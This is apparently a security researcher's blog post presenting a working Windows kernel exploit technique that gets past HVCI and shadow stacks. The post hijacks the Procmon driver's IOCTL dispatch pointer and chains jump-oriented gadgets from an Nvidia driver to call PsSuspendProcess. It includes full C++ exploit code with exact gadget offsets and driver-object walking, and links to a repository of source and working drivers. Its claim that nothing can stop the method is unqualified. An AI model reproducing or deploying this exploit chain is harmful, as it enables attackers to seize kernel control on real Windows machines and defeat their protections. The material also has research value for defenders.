Intro

This post is explaining how I was able to achieve kernel code execution within a windows machine with both HVCI and Shadow Stacks.

By using a r/w virtual kernel address primitive, I am able to create an (previously undocumented) method of executing kernel commands.

I’m 90% sure this has not been done before in this way, however I would be surprised if no one else has thought of this or implemented it in some way.

As a pre-requisite, I would completely recommend reading this post. https://connormcgarr.github.io/hvci/

This title is a little bit clickbait. I don’t actually have access to a machine new enough to use the shadow stacks. However, this method never touches any stack pointer or anything to do with the stack whatsoever, so I do not see any way that this should be stopped by the shadow stack.

There is no known method to stop this. Unless a machine blocks all third party drivers, there is now way to stop this technique from occuring.

Here are the current methods of kernel code execution that I am aware of, and their downsides. As windows has not yet adopted branch tracking in the shadow stack, this will function.

MethodBlocked byRequires
Rop chainShadow stacksN/A
Callback hijackHLAT/Intel VT-RPDriver without CFG
COP/JOP chainN/ADriver without CFG
SSDT hijackHLAT/Intel VT-RPN/A

Issues with JOP

The hardest thing with a JOP chain in the kernel is starting that chain. Shadow stacks block backwards-edge attacks, and HVCI blocks most forward edge attacks. However, third party drivers are not yet blocked by HVCI. Especially, third party drivers without CFG to stop the jumps that JOP requires.

Initially, when setting this project up, I configured everything very similar to malk by worawit. https://github.com/worawit/malk.

I used a procmon driver (v3.92) to complete this, as I was experiementing with kernel callbacks and wanted to use the driver due to the lack of CFG and the fact that it has a nice function to send data to usermode. However, none of this was used at all. I used this driver instead by hijacking an IRP call, and then pivoting to a different driver nvidia’s nvlddmkm.sys (511.23) as a gadget provider. Do not worry, you do not need an nvidia device for this to function. You can use sc.exe to start the .sys.

This full source code and the working drivers are available at https://github.com/nasawyer7/ropkit

Initial Overwrite

Below is a disassembled version of the procmon driver. I generally think of this function as the driver entry function, as this function registers the driver, and applies the permissions required to access it.

When dissassembling drivers, this function provides you with both the name of the driver you are looking at "\\DosDevices\\Global\\ProcmonDebugLogger");

And the permissions of who can communicate with the driver with irp requests. "D:P(A;;GA;;;AU)". This means any user logged in with a normal account can send an IRP requests. If I were looking for a vulnerable driver, this means I should look further into this driver, as this could be used for a privesc.

Anyways, that’s not the point. At the location I have highlighted in the screenshot, the IOCTL handler/dispatcher is located here. *(code **)(param_1 + 232) = FUN_180002030;.

This pointer is stored not in the .txt section of the file, but instead is allocated.

Codeimage

That line decompiles to: mov qword ptr [RDI + 0xe0],RAX=>FUN_180002030

This instruction is of course read only, being in .text section of the binary, however its writing to an external address stored in RDI. RDI holds the DRIVER_OBJECT structure, and is equal to param_1 in this case.

This initilization code ultimately writes the address of the dispatch/ioctl handler and writes it into the DRIVER_OBJECT structure. This is a readable/writable address (this code literally just wrote to it), therefore we are able to mess with it with our r/w primitive.

My exploit directly targets this pool memory, by overwriting that pointer after the pool initializes, allowing us to control the flow of the program.

It is much easier than you would think to find that handle! I could implement a BS finder style logic to scan for all of memory, or follow a simple chain. That chain is:

Handle -> FILE_OBJECT -> DEVICE_OBJECT -> DRIVER_OBJECT -> MajorFunction.

My code follows this by sending a request to the procmon driver, and follows that chain to eventually overwrite the ioctl address.

The below function is the general control logic to complete this.

void setupjop(VulnerableDriver& driver, const kerneloffsets& offsets, UINT64 targetEProcess) {
    UINT64 nvBase = getkrnlbase(driver, offsets, "nvlddmkm.sys");
    UINT64 ntosBase = offsets.NTOSKRNLbase;

    HANDLE hDevice = CreateFileA("\\\\.\\GLOBALROOT\\Device\\ProcmonDebugLogger",
        GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Cannot create irp to procmon\n");
        return;
    }
    else if (!nvBase) {
        printf("Nvidia driver nvlddmkm.sys not started \n");
        return;
    }

    UINT64 deviceObject = deviceObjectFromHandle(hDevice, driver);
    UINT64 driverObject = 0;
    if (deviceObject) driver.Read(&driverObject, deviceObject + 0x8, 8);

    printf("[+] about to send payload. nvidia base: %llx\n [+] driver object: %llx\n", nvBase, driverObject);

   

    if (driverObject) {
        UINT64 ioctlSlotAddr = driverObject + 0x70 + (0x0E * 8); // IRP_MJ_DEVICE_CONTROL
        printf("ioctlslotaddress we are overwriding: %llx\n", ioctlSlotAddr);

        startjop(driver, offsets, targetEProcess, nvBase, ntosBase, deviceObject, ioctlSlotAddr, hDevice);
    }
    return;
}

Ultimately, I am able to replace my Procmonhandler with the address of my first gadget. Now, when an IRP request is sent, my gadgets will be used instead.

Jop setup

For extra gadgets, I loaded in an nvidia driver at this time. It does not have CFG, so this will work.

At the time of overwrite, the only thing I control is the next instruction and DEVICE_OBJECT. RCX points to DEVICE_OBJECT, and I have a write primitive, so I can control the next command as long as it ends in jmp qword [rcx + amount].

I overwrote the IOCTL address with an address to jmp qword [rcx+0x20]. This is a simple transition gadget , and I can place the next instruction at DEVICE_OBJECT + 0x20.

At that location, I setup rax with a value at DEVICE_OBECT+ 0x68.  mov rax, qword [rcx+0x68] ; mov rcx, rax ; jmp qword [rax+0x50]

Current Chain:

LocationInstruction
IOCTL Handlerjmp qword [rcx+0x20]
0x20mov rax, qword [rcx+0x68] ; mov rcx, rax ; jmp qword [rax+0x50]

This allows me to use even more gadgets that use DEVICE_OBJECT + amount.

I used this to setup rdx, so I could call the function suspendprocess. To call this function, I need to jump to psSuspendProcess with rcx holding the eprocess struct of the target process.

At DEVICE_OBJECT +50, I put this instruction: mov rdx, qword [rcx+0x3A0] ; mov ecx, [rcx+0x3A8] ; jmp qword [rax+0x398]

Chain:

LocationValue
IOCTL Handlerjmp qword [rcx+0x20]
0x20mov rax, qword [rcx+0x68] ; mov rcx, rax ; jmp qword [rax+0x50]
0x50 + 0x68mov rdx, qword [rcx+0x3A0] ; mov ecx, [rcx+0x3A8] ; jmp qword [rax+0x398]
0x3A0 + 0x68targetEprocess

Now, as long as I place the target eprocess at DEVICEOBJECT + 0x68 + 0x3A0, I can use that.

At DEVICE_OBJECT+0x398 +0x68, I placed the final instruction to set rdx to the target eprocess. mov rcx, rdx ; jmp qword [rax+0x58]

This is what the full chain looks like:

LocationValue
IOCTL Handlerjmp qword [rcx+0x20]
0x20mov rax, qword [rcx+0x68] ; mov rcx, rax ; jmp qword [rax+0x50]
0x50 + 0x68mov rdx, qword [rcx+0x3A0] ; mov ecx, [rcx+0x3A8] ; jmp qword [rax+0x398]
0x3A0 + 0x68targetEprocess
0x398 + 0x68mov rcx, rdx ; jmp qword [rax+0x58]
0x58 + 0x68PsSuspendProcess

Full code:

#include "kit.h"

UINT64 Kit::deviceObjectFromHandle(HANDLE hDevice) {
    auto NtQuerySysInfo = (pNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
    if (!NtQuerySysInfo) return 0;

    ULONG size = 0x10000, returnLength;
    auto handleInfo = (SH_INFORMATION*)malloc(size);

    while (NtQuerySysInfo(16, handleInfo, size, &returnLength) == (NTSTATUS)0xC0000004) {
        handleInfo = (SH_INFORMATION*)realloc(handleInfo, size = returnLength);
    }

    DWORD pid = GetCurrentProcessId();
    UINT64 fileObjectAddr = 0, deviceObjectAddr = 0;

    for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++) {
        if (handleInfo->Handles[i].UniqueProcessId == pid && (HANDLE)handleInfo->Handles[i].HandleValue == hDevice) {
            fileObjectAddr = (UINT64)handleInfo->Handles[i].Object;
            break;
        }
    }

    free(handleInfo);
    if (fileObjectAddr) driver.Read(&deviceObjectAddr, fileObjectAddr + 0x8, 8);
    return deviceObjectAddr;
}

// i wrote theese tho

void Kit::startjop(UINT64 targetEProcess,UINT64 nvBase, UINT64 ntosBase, UINT64 deviceObject, UINT64 ioctlSlotAddr, HANDLE hDevice) {

    UINT64 fakeObject = deviceObject + 0x100; //move 100 forward so i can call this twice without curropting everything

    //set up entire table
    driver.Write(deviceObject + 0x20, nvBase + 0x1003F8); //  mov rax, qword [rcx+0x68] ; mov rcx, rax ; jmp qword [rax+0x50]  - now we control rax and rcx.
    driver.Write(deviceObject + 0x68, fakeObject);        // base object of our exploit.
    //debugging easier idk
    printf("device object: %llx, fakeobject: %llx\n", deviceObject, fakeObject);
   

    driver.Write(fakeObject + 0x50, nvBase + 0x2C7902);   // mov rdx, qword [rcx+0x3A0] ; mov ecx,  [rcx+0x3A8] ; jmp qword [rax+0x398] 
    driver.Write(fakeObject + 0x3A0, targetEProcess);     // set rdx to eprocesses, so this argument is passed down into suspendprocess later. 
    driver.Write(fakeObject + 0x398, nvBase + 0x7F6E2B);  // mov rcx, rdx ; jmp qword [rax+0x58]
    driver.Write(fakeObject + 0x58, ntosBase + offsets.PsSuspendProcess); // Target API

    // pivot gadget
    

    driver.Write(ioctlSlotAddr, nvBase + 0xFB6F); //jmp qword [rcx+0x20]

    printf("first jump at: %llx\n", ioctlSlotAddr);
    printf("ensure deviceobj is set: %llx + 20", deviceObject);

    printf(" last write, running load\n");
    DWORD bytesRet; UINT64 buf = 0; OVERLAPPED ov = { 0 };

    DeviceIoControl(hDevice, 0x222000, &buf, 8, &buf, 8, &bytesRet, &ov);
}


void Kit::setupjop(UINT64 targetEProcess) {
    UINT64 nvBase = getkrnlbase("nvlddmkm.sys");
    UINT64 ntosBase = offsets.NTOSKRNLbase;

    HANDLE hDevice = CreateFileA("\\\\.\\GLOBALROOT\\Device\\ProcmonDebugLogger",
        GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Cannot create irp to procmon\n");
        return;
    }
    else if (!nvBase) {
        printf("Nvidia driver nvlddmkm.sys not started \n");
        return;
    }

    UINT64 deviceObject = deviceObjectFromHandle(hDevice);
    UINT64 driverObject = 0;
    if (deviceObject) driver.Read(&driverObject, deviceObject + 0x8, 8);

    printf("[+] about to send payload. nvidia base: %llx\n [+] driver object: %llx\n", nvBase, driverObject);

   

    if (driverObject) {
        UINT64 ioctlSlotAddr = driverObject + 0x70 + (0x0E * 8); // IRP_MJ_DEVICE_CONTROL
        printf("ioctlslotaddress we are overwriding: %llx\n", ioctlSlotAddr);

        startjop(targetEProcess, nvBase, ntosBase, deviceObject, ioctlSlotAddr, hDevice);
    }
    return;
}